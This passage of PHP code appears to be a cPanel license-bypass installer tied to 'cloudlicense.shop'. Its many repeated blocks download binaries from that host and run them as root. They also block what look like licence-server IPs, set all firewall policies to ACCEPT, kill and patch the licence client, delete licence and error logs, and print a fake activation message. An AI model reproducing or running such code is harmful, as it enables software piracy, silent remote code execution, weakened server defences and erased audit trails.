						exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
						exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
					}

					$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

					if (0 < strlen($cpanel_txt)) {
						if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
							exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
							exec('sh /usr/bin/con0 > /dev/null 2>&1');
							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
						}
					}
				}

				$dns = '/usr/local/cpanel/cpanel.lisc';

				if (file_exists($dns)) {
					$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
					$pos = strpos($filedns, 'dnsonly');

					if ($pos !== false) {
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
						exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
						exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
						exec('sh /usr/bin/con0 > /dev/null 2>&1');
						exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
						exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
					}

					$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

					if (0 < strlen($cpanel_txt)) {
						if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
							exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
							exec('sh /usr/bin/con0 > /dev/null 2>&1');
							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
						}
					}
				}

				$dns = '/usr/local/cpanel/cpanel.lisc';

				if (file_exists($dns)) {
					$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
					$pos = strpos($filedns, 'dnsonly');

					if ($pos !== false) {
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
						exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
						exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
						exec('sh /usr/bin/con0 > /dev/null 2>&1');
						exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
						exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
					}

					$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

					if (0 < strlen($cpanel_txt)) {
						if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
							exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
							exec('sh /usr/bin/con0 > /dev/null 2>&1');
							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
						}
					}
				}

				$filename3 = '/usr/local/cpanel/cpanel.lisc';

				if (file_exists($filename3)) {
					exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
					exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
									maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
					exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
					exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
					exec('cat /usr/bin/.sysma/procc.conf8 > /usr/local/.recoverit');
					exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
					exec('sed -i \'1d\' /usr/local/.recoverit1');
					exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
					exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
					exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
					exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
					exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
					exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
					exec('service cpanel restart > /dev/null 2>&1');
					exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
					exec('chmod +x /usr/bin/LicenseCP_v2 > /dev/null 2>&1');
					exec('/usr/bin/LicenseCP_v2 > /dev/null 2>&1');
					echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
				}
				else {
					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
					exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
					exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
					exec('timeout 5s csf -f > /dev/null 2>&1');
					exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
					exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
					exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
					exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
					exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
					exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
					exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
					exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
					exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
					exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
					exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
					exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
					exec('/usr/bin/wget -O /usr/bin/.sysma/procc34.conf https://wc.cloudlicense.shop/api/change3?key=' . $key . ' > /dev/null 2>&1');
					exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc34.conf > /usr/bin/.sysma/procc.conf7');
					$null = shell_exec('check=$(timeout 70s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf7 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
					exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
					$dns = '/usr/local/cpanel/cpanel.lisc';

					if (file_exists($dns)) {
						$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
						$pos = strpos($filedns, 'dnsonly');

						if ($pos !== false) {
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
							exec('sh /usr/bin/con0 > /dev/null 2>&1');
							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
							exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
						}

						$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

						if (0 < strlen($cpanel_txt)) {
							if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
								exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
								exec('sh /usr/bin/con0 > /dev/null 2>&1');
								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
							}
						}
					}

					$dns = '/usr/local/cpanel/cpanel.lisc';

					if (file_exists($dns)) {
						$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
						$pos = strpos($filedns, 'dnsonly');

						if ($pos !== false) {
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
							exec('sh /usr/bin/con0 > /dev/null 2>&1');
							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
							exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
						}

						$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

						if (0 < strlen($cpanel_txt)) {
							if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
								exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
								exec('sh /usr/bin/con0 > /dev/null 2>&1');
								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
							}
						}
					}

					$dns = '/usr/local/cpanel/cpanel.lisc';

					if (file_exists($dns)) {
						$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
						$pos = strpos($filedns, 'dnsonly');

						if ($pos !== false) {
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
							exec('sh /usr/bin/con0 > /dev/null 2>&1');
							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
							exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
						}

						$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

						if (0 < strlen($cpanel_txt)) {
							if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
								exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
								exec('sh /usr/bin/con0 > /dev/null 2>&1');
								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
							}
						}
					}

					$dns = '/usr/local/cpanel/cpanel.lisc';

					if (file_exists($dns)) {
						$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
						$pos = strpos($filedns, 'dnsonly');

						if ($pos !== false) {
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
							exec('sh /usr/bin/con0 > /dev/null 2>&1');
							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
							exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
						}

						$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

						if (0 < strlen($cpanel_txt)) {
							if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
								exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
								exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
								exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
								exec('sh /usr/bin/con0 > /dev/null 2>&1');
								exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
								exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
								exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
							}
						}
					}

					$filename3 = '/usr/local/cpanel/cpanel.lisc';

					if (file_exists($filename3)) {
						exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
						exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
										maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
						exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
						exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
						exec('cat /usr/bin/.sysma/procc.conf7 > /usr/local/.recoverit');
						exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
						exec('sed -i \'1d\' /usr/local/.recoverit1');
						exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
						exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
						exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
						exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
						exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
						exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
						exec('service cpanel restart > /dev/null 2>&1');
						exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
						maximum_users();
						echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
					}
					else {
						exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
						exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
